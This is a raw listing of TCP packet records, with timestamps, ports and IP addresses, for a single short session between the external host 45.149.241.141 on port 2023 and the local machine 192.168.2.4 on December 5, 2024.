Dec 5, 2024 10:46:36.948697090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.948755980 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.949891090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.949975967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.949980021 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.951165915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.951236963 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.951241970 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.952143908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.952168941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.952193022 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.953057051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.953103065 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.953135014 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.954138041 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.954205990 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.954271078 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.955466986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.955492973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.955513954 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.956480980 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.956533909 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.956551075 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.957351923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.957422018 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.957426071 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.958530903 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.958579063 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.958616018 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.959655046 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.959703922 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.959748030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.961172104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.961189985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.961216927 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.962184906 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.962239981 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.962260962 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.963150024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.963202000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.963247061 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.964183092 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.964257002 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.964303970 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.965310097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.965373039 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.965440035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.966407061 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.966528893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.966584921 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.967533112 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.967586994 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.967597961 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.968667030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.968830109 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.968883991 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.969851971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.969913960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.969985008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.970971107 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.971026897 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.971064091 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.972112894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.972186089 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.972237110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.973298073 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.973505974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.973550081 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.974473953 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.974533081 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.974570036 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.975558043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.975615978 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.975663900 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.976809025 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.976861954 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.976900101 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.977987051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.978019953 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.978063107 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.978864908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.978929043 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.978987932 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.980037928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.980094910 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.980129957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.981216908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.981287956 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.981359005 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.982327938 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.982383013 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.115571022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.115596056 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.115727901 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.116034031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.116185904 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.116785049 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.116971970 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.117117882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.117171049 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.117981911 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.118074894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.118124008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.118956089 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.119056940 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.119102001 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.120074034 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.120177031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.120224953 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.121298075 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.121419907 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.121469021 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.122847080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.123112917 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.123651981 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.124038935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.124082088 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.124130964 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.125087023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.125197887 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.125245094 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.125957966 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.126092911 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.126157045 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.127041101 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.127160072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.127207994 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.128246069 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.128357887 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.128411055 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.129504919 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.129626989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.129677057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.130584955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.130630016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.130676031 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.131742001 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.131930113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.131982088 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.133083105 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.133260965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.133359909 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.134711981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.134767056 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.134816885 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.135642052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.135715008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.135771036 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.136596918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.136648893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.136703968 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.137501955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.137586117 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.138248920 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.138582945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.138748884 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.138799906 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.139638901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.139895916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.139949083 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.140650988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.140666008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.140697956 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.141824961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.141977072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.142024040 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.142786026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.142843008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.142899036 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.143964052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.144028902 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.144076109 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.145088911 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.145401955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.145450115 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.146199942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.146290064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.146337032 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.147432089 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.147500992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.147547007 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.148526907 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.148699045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.148747921 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.150028944 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.150074005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.150126934 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.151174068 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.151226997 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.151276112 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.152224064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.152282000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.152333021 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.153242111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.153306007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.153362989 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.154233932 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.154283047 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.154329062 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.155301094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.155394077 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.155440092 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.156486988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.156610012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.156646967 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.157666922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.157718897 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.157876968 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.158727884 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.158835888 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.158878088 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.159856081 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.159933090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.160005093 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.160995007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.161088943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.161180019 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.162153006 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.162240028 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.162348032 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.163280964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.163516045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.163569927 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.164503098 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.164530039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.164630890 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.165587902 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.165664911 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.165724039 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.166692972 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.166816950 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.166882992 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.167866945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.167990923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.168194056 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.168994904 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.169100046 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.169147015 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.170126915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.170236111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.170319080 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.171020985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.171210051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.171257973 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.172343016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.172413111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.172519922 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.173409939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.173496008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.173541069 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.174360991 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.273969889 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.307060957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.307085037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.307137966 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.307452917 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.307661057 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.308080912 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.308912992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.309048891 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.309088945 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.310831070 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.310847998 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.310897112 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.311755896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.311801910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.311867952 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.312429905 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.312537909 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.312578917 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.313405991 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.313520908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.313566923 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.314366102 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.314393997 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.314433098 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.315476894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.315511942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.315551996 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.316684961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.316740990 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.316811085 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.317868948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.317955017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.318053007 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.318923950 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.319067955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.319519043 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.320076942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.320185900 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.321129084 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.321219921 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.321295023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.321327925 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.322421074 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.322499037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.322540045 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.323575974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.323684931 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.323720932 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.324739933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.324903011 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.324947119 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.325995922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.326046944 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.326087952 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.326941967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.327044010 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.327686071 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.327977896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.328078032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.328118086 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.329140902 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.329245090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.329334021 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.330518961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.330605984 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.330646992 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.331510067 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.331605911 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.331640959 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.332531929 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.332679987 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.332716942 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.333780050 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.333842039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.333880901 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.334876060 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.334980011 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.335998058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.336050034 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.336082935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.336122036 CET	49738	2023	192.168.2.4	45.149.241.141
